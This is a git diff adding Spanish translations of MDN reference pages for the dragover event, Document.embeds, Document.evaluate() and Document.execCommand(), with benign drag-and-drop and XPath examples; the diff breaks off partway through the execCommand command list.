+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Bubbles</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td>Target objects</td>
+   <td>{{domxref("Document")}}, {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <td>Default Action</td>
+   <td>Reset the current drag operation to "none".</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>El elemento que se encontraba bajo el elemento que está siendo arrastrado.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si el evento se propaga normalmente o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si el evento es cancelable o no.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> del documento)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>Los datos que subyacen a la operación de drag-and-drop , conocidas como <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Modo protegido.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>El nodo que tiene adjunto el detector de eventos.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>Para los eventos de <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> y <code>mouseleave</code>:El objetivo del evento complementario (el objetivo <code>mouseleave</code> en el caso del evento <code>mouseenter</code>). <code>null</code> sino.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>La coordinada X del puntro del ratón en coordenadas globales (de pantalla).</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>La coordinada Y del puntero del ratón en coordenadas globales (en pantalla).</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>La coordinada X del puntro del ratón en coordenadas locales (DOM content).</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>La coordinada Y del puntro del ratón en coordenadas locales (DOM content).</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>
+    <p>El número de botón que se preionó cuando el ecento fue ectivado: Botón izquierdo=0, botón del medio=1(en caso de que esté presente), botón derecho=2. Para ratones configurados para zurdos donde laas acciones están configuradas al contrario los valores se leerán de derecha a izquierda.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>
+    <p>Los botones presionados cuando el evento de ratón se activa: botón izquierdo=1,botón derecho=2, botón medio (rueda)=4, 4º botón (tipo "hacia atrás del navegador"=8, 5º botón ("tipo hacia delante en el navegador"=16. Si dos o más botones se presionan, devolverá la suma lógica de los valores. Ej: si se presionan los botones izquierdo y derecho, devolverá 3 (=1|2). <a href="/en-US/docs/Web/API/MouseEvent">M</a>ás información.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>
+    <p>La cantidad de presión aplicada en dispositivos táctiles cuando se genera el evento; Este valor tiene un rango entre 0.0 (mínima presión) y 1.0 (máxima presión)</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> si la tecla control estaba pulsada cuando el evento se lanzó <code>false</code> en cualquier otro caso.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> si la tecla shift estaba pulsada cuando el evento de lanzó. <code>false</code> en otro caso.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> si la tecla alt estaba pulsada cuando el evento se lanzó. <code>false</code> si no.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> si la tecla meta estaba presionada cuando el evento se disparó. <code>false</code> si no.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+&lt;/style&gt;
+
+&lt;script&gt;
+  var dragged;
+
+  /* events fired on the draggable target */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // store a ref. on the dragged elem
+      dragged = event.target;
+      // make it half transparent
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // reset the transparency
+      event.target.style.opacity = "";
+  }, false);
+
+  /* events fired on the drop targets */
+  document.addEventListener("dragover", function( event ) {
+      // prevent default to allow drop
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // highlight potential drop target when the draggable element enters it
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // reset background of potential drop target when the draggable element leaves it
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // prevent default action (open as link for some elements)
+      event.preventDefault();
+      // move dragged elem to the selected drop target
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragover")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
diff --git a/files/es/web/api/document/embeds/index.html b/files/es/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..865efdb2fd
--- /dev/null
+++ b/files/es/web/api/document/embeds/index.html
@@ -0,0 +1,48 @@
+---
+title: Document.embeds
+slug: Web/API/Document/embeds
+tags:
+  - API
+  - Documento
+  - Ejemplo
+  - HTML DOM
+  - Propiedad
+translation_of: Web/API/Document/embeds
+---
+<div>{{ApiRef}}</div>
+
+<p><strong><code>embeds</code></strong> es una propiedad de sólo lectura de la interfaz de {{domxref("Document")}}. Devuelve una lista con los elementos {{htmlelement("object")}} incrustados dentro del documento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>nodeList</var> = document.embeds
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una {{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de structured data. Si usted quiere contribuir, por favor visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<div>{{Compat("api.Document.embeds")}}</div>
diff --git a/files/es/web/api/document/evaluate/index.html b/files/es/web/api/document/evaluate/index.html
new file mode 100644
index 0000000000..67bc5d432e
--- /dev/null
+++ b/files/es/web/api/document/evaluate/index.html
@@ -0,0 +1,211 @@
+---
+title: Document.evaluate()
+slug: Web/API/Document/evaluate
+translation_of: Web/API/Document/evaluate
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Retorna <code><a href="/en-US/docs/XPathResult" title="XPathResult">XPathResult</a></code> basado en una expresión <a href="/en-US/docs/XPath" title="XPath">XPath</a> y otros parametros dados .</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);</pre>
+
+<ul>
+ <li><code>XpathExpression es una cadena que representa el XPath que se va a evaluar.</code></li>
+ <li><code>contextNode</code> specifies the <em>context node</em> for the query (see the [<a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> XPath specification). It's common to pass <code>document</code> as the context node.</li>
+ <li><code>namespaceResolver</code> is a function that will be passed any namespace prefixes and should return a string representing the namespace URI associated with that prefix. It will be used to resolve prefixes within the XPath itself, so that they can be matched with the document. <code>null</code> is common for HTML documents or when no namespace prefixes are used.</li>
+ <li><code>resultType</code> is an integer that corresponds to the type of result <code>XPathResult</code> to return. Use <a href="#Result_types">named constant properties</a>, such as <code>XPathResult.ANY_TYPE</code>, of the XPathResult constructor, which correspond to integers from 0 to 9.</li>
+ <li><code>result</code> is an existing <code>XPathResult</code> to use for the results. <code>null</code> is the most common and will create a new <code>XPathResult</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* Search the document for all h2 elements.
+ * The result will likely be an unordered node iterator. */
+var thisHeading = headings.iterateNext();
+var alertText = "Level 2 headings in this document are:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // Alerts the text of all h2 elements
+</pre>
+
+<p>Note, in the above example, a more verbose XPath is preferred over common shortcuts such as <code>//h2</code>. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits <em>every</em> node from the root and all subnodes looking for possible matches.</p>
+
+<p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p>
+
+<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+</pre>
+
+<p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p>
+
+<p>See <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a> for more information.</p>
+
+<h2 id="Notes" name="Notes">Nota</h2>
+
+<ul>
+ <li>XPath expressions can be evaluated on HTML and XML documents.</li>
+ <li>While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.</li>
+</ul>
+
+<h2 id="Result_types" name="Result_types">Tipos de resultados</h2>
+
+<p>(Merge with <a href="/Template:XPathResultConstants" title="Template:XPathResultConstants">Template:XPathResultConstants</a>?</p>
+
+<p>These are supported values for the <code>resultType</code> parameter of the <code>evaluate</code> method:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Result Type</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>ANY_TYPE</code></td>
+   <td>0</td>
+   <td>Whatever type naturally results from the given expression.</td>
+  </tr>
+  <tr>
+   <td><code>NUMBER_TYPE</code></td>
+   <td>1</td>
+   <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>STRING_TYPE</code></td>
+   <td>2</td>
+   <td>A result set containing a single string.</td>
+  </tr>
+  <tr>
+   <td><code>BOOLEAN_TYPE</code></td>
+   <td>3</td>
+   <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>4</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>5</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>6</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>7</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ANY_UNORDERED_NODE_TYPE</code></td>
+   <td>8</td>
+   <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td>
+  </tr>
+  <tr>
+   <td><code>FIRST_ORDERED_NODE_TYPE</code></td>
+   <td>9</td>
+   <td>A result set containing the first node in the document that matches the expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p>
+
+<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td>
+   <td>{{Spec2("DOM3 XPath")}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XPath 1.0</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.8)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(9.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XPath 1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implemented in WebKit 5.0 (531) or earlier.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.createExpression" title="DOM/document.createExpression">DOM:document.createExpression</a></li>
+ <li><a href="/en-US/docs/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li>
+ <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li>
+</ul>
diff --git a/files/es/web/api/document/execcommand/index.html b/files/es/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..2102597c22
--- /dev/null
+++ b/files/es/web/api/document/execcommand/index.html
@@ -0,0 +1,288 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+tags:
+  - API
+  - DOM
+  - Método(2)
+  - NecesitaEjemplo
+  - Referencia
+  - editor
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary"><span id="result_box" lang="es"><span title="Summary">Resumen</span></span></h2>
+
+<p><span id="result_box" lang="es"><span title="When an HTML document has been switched to designMode, the document object exposes the execCommand method which allows one to run commands to manipulate the contents of the editable region.">Cuando un documento HTML se ha cambiado a <code>designMode</code>, el objeto de documento expone el método</span></span> <code>execCommand</code> <span id="result_box" lang="es"><span title="When an HTML document has been switched to designMode, the document object exposes the execCommand method which allows one to run commands to manipulate the contents of the editable region.">lo que permite ejecutar comandos para manipular el contenido de la región editable. </span><span title="Most commands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting).">La mayoría de los comandos afectan a la selección de documento (negrita, cursiva, etc.), mientras que otros insertar nuevos elementos (añadiendo un enlace) o afectan a toda una línea (sangría). </span><span title="When using contentEditable, calling execCommand will affect the currently active editable element.
+">Al usar</span></span> <code>contentEditable</code>, la llamada a <code>execCommand</code> afectará el elemento editable activo actual.</p>
+
+<h2 id="Syntax" name="Syntax"><span id="result_box" lang="es"><span title="Syntax">Sintaxis</span></span></h2>
+
+<pre class="brush: js">execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>aCommandName</dt>
+ <dd><span id="result_box" lang="es"><span title='A {{domxref("DOMString")}} specifying the name of the command to execute.'>Una {{domxref("DOMString")}} que especifica el nombre del comando a ejecutar. Vea {{anch("Comandos")}} para una lista de posibles comandos.</span></span></dd>
+ <dt>aShowDefaultUI</dt>
+ <dd><span id="result_box" lang="es"><span title='A {{jsxref("Boolean")}} indicating whether the default user interface should be shown.'>Un {{jsxref("Boolean")}} que indica si la interfaz de usuario por defecto se debe mostrar. </span><span title="This is not implemented in Mozilla.">Esto no se ha implementado en Mozilla.</span></span></dd>
+ <dt>aValueArgument</dt>
+ <dd><span id="result_box" lang="es"><span title='A {{domxref("DOMString")}} For commands which require an input argument (such as insertImage, for which this is the URL of the image to insert), this is a {{domxref("DOMString")}} providing that information.'>Una {{domxref("DOMString")}} representando algunos comandos (como <code>insertImage</code>) requiere un argumento valor extra (url de la imagen). </span><span title="Pass an argument of null if no argument is needed.
+
+">Pasar un argumento de</span></span> <code>null</code> <span id="result_box" lang="es"><span title="Pass an argument of null if no argument is needed.
+
+">si no se necesita ningún argumento</span></span>.</dd>
+</dl>
+
+<h3 id="Comandos"><span id="result_box" lang="es"><span title="Commands
+
+">Comandos</span></span></h3>
+
+<dl>
+ <dt>backColor</dt>
+ <dd><span id="result_box" lang="es"><span title="backColor
+    "> </span><span title="Changes the document background color.">Cambia el color de fondo del documento</span></span>. <span id="result_box" lang="es"><span title="In styleWithCss mode, it affects the background color of the containing block instead.">En el modo styleWithCss, afecta el color de fondo del bloque que contiene. </span><span title="This requires a color value string to be passed in as a value argument.">Esto requiere una cadena con el valor del color de fondo que se pasa como un valor de </span></span><span lang="es"><span title="This requires a color value string to be passed in as a value argument.">argumento. </span><span title="(Internet Explorer uses this to set text background color.)
+">(Internet Explorer utiliza esta opción para definir el color de fondo del texto.)</span></span></dd>
+ <dt>bold</dt>
+ <dd>Pone las negritas o las quita <span id="result_box" lang="es"><span title="Toggles bold on/off for the selection or at the insertion point.">para la selección o en el punto de inserción. </span><span title="(Internet Explorer uses the STRONG tag instead of B.)
+">(Internet Explorer utiliza la etiqueta STRONG en lugar de B.)</span></span></dd>
+ <dt>contentReadOnly</dt>
+ <dd><span id="result_box" lang="es"><span title="Makes the content document either read-only or editable.">Hace que el documento de contenido, ya sea de sólo lectura o editable. </span><span title="This requires a boolean true/false to be passed in as a value argument.">Esto requiere un booleano verdadero / falso que se pasa como un valor de </span></span><span lang="es"><span title="This requires a boolean true/false to be passed in as a value argument.">argumento. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>copy</dt>
+ <dd><span id="result_box" lang="es"><span title="Copies the current selection to the clipboard.">Copia la selección actual en el portapapeles. </span><span title="Clipboard capability must be enabled in the user.js preference file.">Capacidad del Portapapeles debe estar habilitado en el archivo de preferencias user.js. Vea</span></span></dd>
+ <dt>createLink</dt>
+ <dd><span id="result_box" lang="es"><span title="Creates an anchor link from the selection, only if there is a selection.">Crea un vínculo de anclaje a partir de la selección, sólo si hay una selección. </span><span title="This requires the HREF URI string to be passed in as a value argument.">Esto requiere la cadena HREF URI que se pasa como un argumento de valor. </span><span title="The URI must contain at least a single character, which may be a white space.">El URI debe contener al menos un solo carácter, el cual puede ser un espacio en blanco. </span><span title="(Internet Explorer will create a link with a null URI value.)
+">(Internet Explorer creará un enlace con un nulo valor URI.)</span></span></dd>
+ <dt>cut</dt>
+ <dd><span id="result_box" lang="es"><span title="Cuts the current selection and copies it to the clipboard.">Corta la selección y lo copia en el portapapeles actual. </span><span title="Clipboard capability must be enabled in the user.js preference file.">Capacidad del Portapapeles debe estar habilitado en el archivo de preferencias user.js. </span><span title="See
+">Vea </span></span></dd>
+ <dt>decreaseFontSize</dt>
+ <dd><span id="result_box" lang="es"><span title="Adds a SMALL tag around the selection or at the insertion point.">Añade una etiqueta SMALL alrededor de la selección o en el punto de inserción. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>delete</dt>
+ <dd><span id="result_box" lang="es"><span title="Deletes the current selection.
+">Elimina la selección actual.</span></span></dd>
+ <dt>enableInlineTableEditing</dt>
+ <dd><span id="result_box" lang="es"><span title="Enables or disables the table row and column insertion and deletion controls.">Activa o desactiva la fila de la tabla y los controles de inserción y supresión de columna</span></span><span lang="es"><span title="Enables or disables the table row and column insertion and deletion controls.">. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>enableObjectResizing</dt>
+ <dd><span id="result_box" lang="es"><span title="Enables or disables the resize handles on images and other resizable objects.">Activa o desactiva los controladores de tamaño en imágenes y otros objetos de tamaño variable. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>fontName</dt>
+ <dd><span id="result_box" lang="es"><span title="Changes the font name for the selection or at the insertion point.">Cambia el nombre de la fuente para la selección o en el punto de inserción. </span><span title='This requires a font name string ("Arial" for example) to be passed in as a value argument.
+'>Esto requiere una cadena de nombre de la fuente ("Arial", por ejemplo) que se pasa como un valor de </span></span><span lang="es"><span title='This requires a font name string ("Arial" for example) to be passed in as a value argument.
+'>argumento.</span></span></dd>
+ <dt>fontSize</dt>
+ <dd><span id="result_box" lang="es"><span title="Changes the font size for the selection or at the insertion point.">Cambia el tamaño de fuente para la selección o en el punto de inserción. </span><span title="This requires an HTML font size (1-7) to be passed in as a value argument.
+">Esto requiere un tamaño de fuente HTML (1-7) que se pasa como un valor de </span></span><span lang="es"><span title="This requires an HTML font size (1-7) to be passed in as a value argument.
+">argumento.</span></span></dd>
+ <dt>foreColor</dt>
+ <dd><span id="result_box" lang="es"><span title="Changes a font color for the selection or at the insertion point.">Cambia un color de fuente para la selección o en el punto de inserción. </span><span title="This requires a color value string to be passed in as a value argument.
+">Esto requiere una cadena de valor de color que se pasa como un valor de </span></span><span lang="es"><span title="This requires a color value string to be passed in as a value argument.
+">argumento.</span></span></dd>
+ <dt>formatBlock</dt>
+ <dd><span id="result_box" lang="es"><span title="Adds an HTML block-style tag around the line containing the current selection, replacing the block element containing the line if one exists (in Firefox, BLOCKQUOTE is the exception - it will wrap any containing block element).">Añade una etiqueta HTML de estilo bloque alrededor de la línea que contiene la selección actual, reemplazando el elemento de bloque que contiene la línea si existe (en Firefox, BLOCKQUOTE es la excepción - que envolverá cualquier elemento de bloque que contiene). </span><span title="Requires a tag-name string to be passed in as a value argument.">Requiere una cadena de etiqueta-nombre que se pasa como un argumento de valor. </span><span title='Virtually all block style tags can be used (eg. "H1", "P", "DL", "BLOCKQUOTE").'>Prácticamente todas las etiquetas de estilo bloque se pueden utilizar (por ejemplo. "H1", "P", "DL", "BLOCKQUOTE"). </span><span title='(Internet Explorer supports only heading tags H1 - H6, ADDRESS, and PRE, which must also include the tag delimiters &amp;lt; >, such as "&amp;lt;H1>".)
+'>(Internet Explorer sólo admite etiquetas de título H1 - H6, dirección y PRE, que también debe incluir los delimitadores de etiquetas &lt;&gt;, como "&lt;H1&gt;".)</span></span></dd>
+ <dt>forwardDelete</dt>
